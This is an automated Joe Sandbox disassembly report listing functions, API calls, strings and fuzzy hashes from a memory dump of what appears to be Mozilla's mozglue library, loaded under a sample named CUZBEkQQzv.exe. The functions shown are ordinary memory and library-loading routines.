Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID: CUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQ
API String ID: 861561044-2473962520
Opcode ID: df8cef1d09355a62d85274aa526c209b144e64842bce5385e02ffbdb903b887c
Instruction ID: 31068285d1fd8b870da35445bbf181121e32ac465c003c5278f603cd2707d883
Opcode Fuzzy Hash: df8cef1d09355a62d85274aa526c209b144e64842bce5385e02ffbdb903b887c
Instruction Fuzzy Hash: 05D16071A04B069FD708CF28C4807AAF7E1BF99308F11866DD85997751EB31E965CB81

Function 6C99D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C96EB57,?,?,?,?,?,?,?,?,?), ref: 6C99D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C96EB57,?), ref: 6C99D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C96EB57,?), ref: 6C99D673
free.MOZGLUE(?), ref: 6C99D888

Strings

|Enabled, xrefs: 6C99D81E

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 3dd7aeb42162e3b76c07d41746f3cda3fd2692c32bee23c7cc04d78285dd1d8d
Instruction ID: b8af270e45bdffee28c4378cb8aefa02d6772f6bfeb40123ad225c5741cf5aeb
Opcode Fuzzy Hash: 3dd7aeb42162e3b76c07d41746f3cda3fd2692c32bee23c7cc04d78285dd1d8d
Instruction Fuzzy Hash: 02A126B1A043089FDB11CF69C4D07AEBBF5AF69318F18805DD8896B742D735E845CBA1

Function 6C99F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C99F480

Part of subcall function 6C96F100: LoadLibraryW.KERNEL32(shell32,?,6C9DD020), ref: 6C96F122
Part of subcall function 6C96F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C96F132

CloseHandle.KERNEL32(00000000), ref: 6C99F555

Part of subcall function 6C9714B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C971248,6C971248,?), ref: 6C9714C9
Part of subcall function 6C9714B0: memcpy.VCRUNTIME140(?,6C971248,00000000,?,6C971248,?), ref: 6C9714EF

Part of subcall function 6C96EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C96EEE3

CreateFileW.KERNEL32 ref: 6C99F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C99F523

Strings

\oleacc.dll, xrefs: 6C99F4CB

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: f0809039aa98b8bffe352b9896b2b53eb318512f8ff30fa16e5195ad00bbadcc
Instruction ID: 8c5bd9dcc1ca1ec3e83013aad948de609b8527faf0f8bff0275acd0e163c9e48
Opcode Fuzzy Hash: f0809039aa98b8bffe352b9896b2b53eb318512f8ff30fa16e5195ad00bbadcc
Instruction Fuzzy Hash: 3E41B4706087109FE720DF69C844BAAF7F8AF5931CF504A1CF59593650EB30D989CB92

Function 6C9C74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9C7526
__Init_thread_footer.LIBCMT ref: 6C9C7566
__Init_thread_footer.LIBCMT ref: 6C9C7597

Strings

kernel32.dll, xrefs: 6C9C7557
UnmapViewOfFile2, xrefs: 6C9C7552

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 78bd69e6cc9de08f997953425cbadece11e702694828791c726ffa96284de28e
Instruction ID: b34dbb61f3bb58296828123f3a262f23145ddabcd0c8eb0e865547f2a73f8be7
Opcode Fuzzy Hash: 78bd69e6cc9de08f997953425cbadece11e702694828791c726ffa96284de28e
Instruction Fuzzy Hash: A2213731B06500A7DF158FEAE814E49337AEFBFB28F24452AD50547F40CB32E94586A7

Function 6C9CA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EF770,-00000001,?,6C9DE330,?,6C98BDF7), ref: 6C9CA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C98BDF7), ref: 6C9CA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C98BDF7), ref: 6C9CA7E4
LeaveCriticalSection.KERNEL32(6C9EF770), ref: 6C9CA80A

Strings

accelerator.dll, xrefs: 6C9CA7BF

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 60cc50df80690b318ac39aea4f9646e067afb012444b255b9fbcf96ded9a99a7
Instruction ID: 4bf3bc28bd92b3789a2120d5ad3a449bcb9dd41ed873b4e5ad4ac0139de51f16
Opcode Fuzzy Hash: 60cc50df80690b318ac39aea4f9646e067afb012444b255b9fbcf96ded9a99a7
Instruction Fuzzy Hash: 98017C707043049FDB448F96E884C2177B8FFA9B59715806AE8098B741DB71E800CBA2

Function 6C96F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C96EE51,?), ref: 6C96F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C96F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C96F0DC
ole32, xrefs: 6C96F0AD
Could not find CoTaskMemFree, xrefs: 6C96F0E3

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 6c386ed7649f0acf1d4567884e2be534ce50e18ec6d4a724cc58575a3854c6ed
Instruction ID: e5191b5302369395f11c9256288a5f5636944168439595698dd95ff82df3e1c5
Opcode Fuzzy Hash: 6c386ed7649f0acf1d4567884e2be534ce50e18ec6d4a724cc58575a3854c6ed
Instruction Fuzzy Hash: 96E0DF7134C305DBBF541B63AC09B2637BC6FBF60D324802EE512C1F95EA20D010C66A

Function 6C9A0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C977204), ref: 6C9A0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9A00A7
FreeLibrary.KERNEL32(?,6C977204), ref: 6C9A00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9A00A1
wintrust.dll, xrefs: 6C9A0083

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: f1af009ecd04ba6e6efd1e786ca5e6f13e16373f15eeb597c51f83f44c9427c9
Instruction ID: 6fced4a158f11db58b59a0793fa93da84f9301a263f61e9020566c42ba49b7a9
Opcode Fuzzy Hash: f1af009ecd04ba6e6efd1e786ca5e6f13e16373f15eeb597c51f83f44c9427c9
Instruction Fuzzy Hash: A2E01270608340ABEF80AFA6A8087023AF8AF6F348F60406AA912C2690DBB4C000CF55

Function 6C9A00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C977235), ref: 6C9A00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9A00F7
FreeLibrary.KERNEL32(?,6C977235), ref: 6C9A010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9A00F1
wintrust.dll, xrefs: 6C9A00D3

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 05b26c0f71cace539d614dbd5c3fb8dc160b54f8cd1d22ed105a81019b6d3b9a
Instruction ID: 37286910a3a8301dae7431877015268789472c8fc5b906e8427d5c699eb039fc
Opcode Fuzzy Hash: 05b26c0f71cace539d614dbd5c3fb8dc160b54f8cd1d22ed105a81019b6d3b9a
Instruction Fuzzy Hash: 54E04F7060D3459BEF805FA5E90A7613AFCEF2F208F70906AAA0F81A00D770C150CB50

Function 6C9CC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9CC0E9), ref: 6C9CC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9CC437
FreeLibrary.KERNEL32(?,6C9CC0E9), ref: 6C9CC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9CC431
ntdll.dll, xrefs: 6C9CC413

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: b5216fae2a2ddbfcf51b0287a398eb430e31cd29c6f2a9eebf5006af68470c28
Instruction ID: 8de510b7b099d4d3b1600f066ff9f9d8f0ef04224f423a890e86a7c329baae20
Opcode Fuzzy Hash: b5216fae2a2ddbfcf51b0287a398eb430e31cd29c6f2a9eebf5006af68470c28
Instruction Fuzzy Hash: B9E0BF707093019BDF80BF71D9197117FF8AF6E20CF20919BAA06D1691DB74D4008B55

Function 6C9C75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9C748B,?), ref: 6C9C75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9C75D7
FreeLibrary.KERNEL32(?,6C9C748B,?), ref: 6C9C75EC

Strings

RtlNtStatusToDosError, xrefs: 6C9C75D1
ntdll.dll, xrefs: 6C9C75B3

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 95bdfbab46e4575ef00fd30b4a770e0da2cd37c4057cbab5642d4f3a4cfb0352
Instruction ID: bc68222c2a64df2fe013f30f43062b9311f633d8f8ace1ced19a7669815b4a71
Opcode Fuzzy Hash: 95bdfbab46e4575ef00fd30b4a770e0da2cd37c4057cbab5642d4f3a4cfb0352
Instruction Fuzzy Hash: D3E04F70309301ABDF805FA3D8487053AF8EF6E64CF30442AA900C1602DB72C205CF45

Function 6C9C7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9C7592), ref: 6C9C7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9C7627
FreeLibrary.KERNEL32(?,6C9C7592), ref: 6C9C763C

Strings

NtUnmapViewOfSection, xrefs: 6C9C7621
ntdll.dll, xrefs: 6C9C7603

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 418749abab88748420c6ea846e4475d8778ad8ccb98e2f17ae3eba547ca934b8
Instruction ID: 90c9da93e34062458f3bd1e676f4c0d51248532629542b4a153c8d366ec1daec
Opcode Fuzzy Hash: 418749abab88748420c6ea846e4475d8778ad8ccb98e2f17ae3eba547ca934b8
Instruction Fuzzy Hash: D4E04FB03093009BEF805FA7E8087013AB8EF7E75CF20401AE904C1701D772C0048F5A

Function 6C9CBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9CBE49), ref: 6C9CBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9CBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9CBE49), ref: 6C9CBF38
RtlReAllocateHeap.NTDLL ref: 6C9CBF83
RtlFreeHeap.NTDLL ref: 6C9CBFA6

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 68f51ba09ff7491461a0bf7c47db13069a798e283164e3a5b0dd8d84e9360002
Instruction ID: c94d7027fb18e47adff1cc8c2ed3a31a0e48188dade373cecd5c82c7cedae1ff
Opcode Fuzzy Hash: 68f51ba09ff7491461a0bf7c47db13069a798e283164e3a5b0dd8d84e9360002
Instruction Fuzzy Hash: DB51AE71B002058FE710DF69C980BAAB7B6FF98314F298629D515A7B94D730F9168F82

Function 6C9B8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8EBF
free.MOZGLUE(?,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8F46
free.MOZGLUE(?,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F8F

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce01fb82a7935a1c469e9293dcdf255e775d537d0de981acdcc31d044a615a78
Instruction ID: 997c988fef9c425fc9a14a26dce0d82a55aca5fa4cc0e4d16343e4976a249008
Opcode Fuzzy Hash: ce01fb82a7935a1c469e9293dcdf255e775d537d0de981acdcc31d044a615a78
Instruction Fuzzy Hash: 9C519DB1A012179FEB18CF64D8806AF77B6AF48308F25052AD916BB740E731E915CBA5

Function 6C9760E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9760F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C976180
free.MOZGLUE(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C976211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C976229
free.MOZGLUE(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C97625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C976271

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b88ae09da805f42bba156cad7b2e25d7b7fb03d3514b05556760989bc4d1c2f5
Instruction ID: 8e770e660e1bb8a2286f818cda1fa22e4efa62bf2526dc4db1f2d203c69ee70f
Opcode Fuzzy Hash: b88ae09da805f42bba156cad7b2e25d7b7fb03d3514b05556760989bc4d1c2f5
Instruction Fuzzy Hash: 5851AFB1A062078FEB64CF68D8847AEB7B5EF55308F200439C656D7B11E731EA58CB61

Function 6C9B27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B289A
free.MOZGLUE(?,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B2910
free.MOZGLUE(00000001,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B294E

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c34cb5a894b9a67dd1968f93d54790a4a6e4ac3e9d5011dd3a55dcc48a6ec919
Instruction ID: aefe4406774c7c74236b563b2abb29ad46d52638af37982b7f9776e172ef4c2e
Opcode Fuzzy Hash: c34cb5a894b9a67dd1968f93d54790a4a6e4ac3e9d5011dd3a55dcc48a6ec919
Instruction Fuzzy Hash: 8541C0B1A046069FEB14CF68D98476B77FAEF45308F240939D56AEB740E731E904CBA1

Function 6C96CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C96D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C96D139

Strings

MOZ_CRASH(), xrefs: 6C96D187

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 97cfd38d9f73e9feb3087f8a9428780c2868546f2e60a5c3514d10e730178775
Instruction ID: b827a1aab447cafece951804a28b06dd9090a023e854f25fb6b002e3cd707054
Opcode Fuzzy Hash: 97cfd38d9f73e9feb3087f8a9428780c2868546f2e60a5c3514d10e730178775
Instruction Fuzzy Hash: 2F41C032B053168FDB548E6E8D9036A36B4EF6DB14F350139E968E7BC4D7A298008BC4

Function 6C964DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C964EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C964F02
